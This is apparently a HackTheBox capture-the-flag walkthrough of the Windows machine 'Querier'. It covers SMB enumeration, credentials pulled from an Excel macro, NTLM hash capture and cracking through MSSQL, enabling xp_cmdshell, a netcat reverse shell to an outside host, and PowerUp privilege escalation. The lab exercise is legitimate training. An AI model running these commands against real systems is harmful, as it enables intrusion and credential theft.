Querier
Platform
HackTheBox
O.S
Windows
Level
Medium
Skills
SMB enumeration Forense with Olevba MSSQL PowerUp
Phase 1: Reconnaissance
I perform a scan of all TCP ports exposed by the target machine.
nmap -sS -p- --open -n -Pn -vvv -oN target 10.10.10.125Once I identify the ports, I use Netexec to gather more information about the domain and the host.
I proceed to add both the hostname, domain, and the FQDN to my DNS resolution file (/etc/hosts).
Since port 445 is open, I decide to enumerate the shared resources that the machine might have exposed.
We can observe that even without valid domain credentials, we can access and read the contents of the Reports share.
The next step is to access it using smbclient.
Once inside, I find an .xlsm file.
Phase 2: Exploitation
Great, since it's a Microsoft Office file, it can be analyzed using olevba.
I notice that there's code seemingly related to a connection to a SQL database.
Specifically, the Uid and Pwd fields interest me, as they appear to contain a username and password.
I try to connect to the exposed MSSQL database (TCP port 1433).
I specify Windows authentication (-windows-auth), since the user doesn't appear to be a SQL user but a system user.
Once connected, I start enumerating databases and tables, but I don’t find any relevant information. I decide to turn to the extended stored procedures (XP).
I first try listing system files and directories.
Fortunately, these procedures are enabled on this specific system.
One of the most interesting ones is xp_cmdshell, which allows command execution.
I test to see if it’s enabled too.
Unfortunately, no luck there. But since I can list files on the system, I might also be able to list network resources using this same function.
Why is this interesting? Because when attempting to list a network resource, the user running the SQL Server will attempt to authenticate via NTLM, leaking the hash to the domain.
This process can easily be intercepted with a tool like Responder, or the hash might even show up directly on the SMB share.
In this case, I set up an SMB share on my local machine and attempt to connect to it from the MSSQL database.
As seen, the NTLMv2 hash was sent to my SMB server.
The next goal is to try to crack it and see if the password for the mssql-svc user is weak and found in a common wordlist.
In my case, I’ll use rockyou and the following hashcat command.
I’ve placed the captured hash into a file named hash_mssql-svc.hash.
hashcat -a 0 -m 5600 hash_mssql-svc.hash /usr/share/wordlists/rockyou.txt --status --status-timer 8After a few seconds, hashcat successfully cracks the hash.
Using the --show option, I can view the mssql-svc user's password.
Perfect, now I check if the user is valid at the system level.
Ok, it seems I still don't have access via psexec or winrm, so I return to the MSSQL service and test whether I can enable and use xp_cmdshell to gain RCE on the target.
Right, it's still disabled, but now the error message is different.
It says an admin can enable it via sp_configure.
After a quick investigation on how to enable it, I try the following method:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
Great, now I have command execution on the machine 😏. My goal is to obtain a reverse shell to interact more comfortably with the target.
Here’s the process I follow:
First, I make sure I have the netcat binary ready to send for the reverse shell. Once obtained, I launch an SMB server in the directory containing the binary. In another terminal, I set up a listener on port 9999 using rlwrap for better shell interaction (supporting arrows, Ctrl+L, etc.).
Once this infrastructure is ready, I execute the following command from within the MSSQL database:
EXEC xp_cmdshell '\\10.10.14.19\by3ncrypt\nc64.exe -e cmd.exe 10.10.14.19 9999';This essentially fetches the netcat binary from my SMB server and executes it to send a cmd.exe shell to IP 10.10.14.19 on port 9999, where I’m listening with netcat.
Why didn’t I upload the binary and execute it locally from SQL? That was my first attempt, but I faced numerous issues with transferring the binary. So I chose this alternative method.
Now the full process is complete.
With the reverse shell obtained, I can now browse the user’s desktop and retrieve their flag.
Phase 3: Post-Exploitation
For this phase, I won’t complicate things and will use the PowerUp.ps1 script, which looks for potential privilege escalation paths.
It’s part of the PowerSploit framework — here's the download link:
After encountering problems transferring the script via HTTP or using certutil, I fall back to using an SMB share and copying the file from a network UNC path.
With PowerUp on the victim machine, I ensure that the script is sourced and its functions loaded into the current session:
. .\PowerUp.ps1Then I use the built-in cmdlet to look for potential privilege escalation vectors:
Invoke-PrivescAuditI find in one section a password that appears to belong to the Administrator user.
This vulnerability is explained in the writeup for the machine Active.
Now I just need to check whether the credentials are valid.
Since netexec and crackmapexec weren’t working properly for verifying access to SMB shares, I decide to use smbmap.
As seen, the result shows that I have write access to the ADMIN$ share, which means I have psexec access as Administrator 😏.
Last updated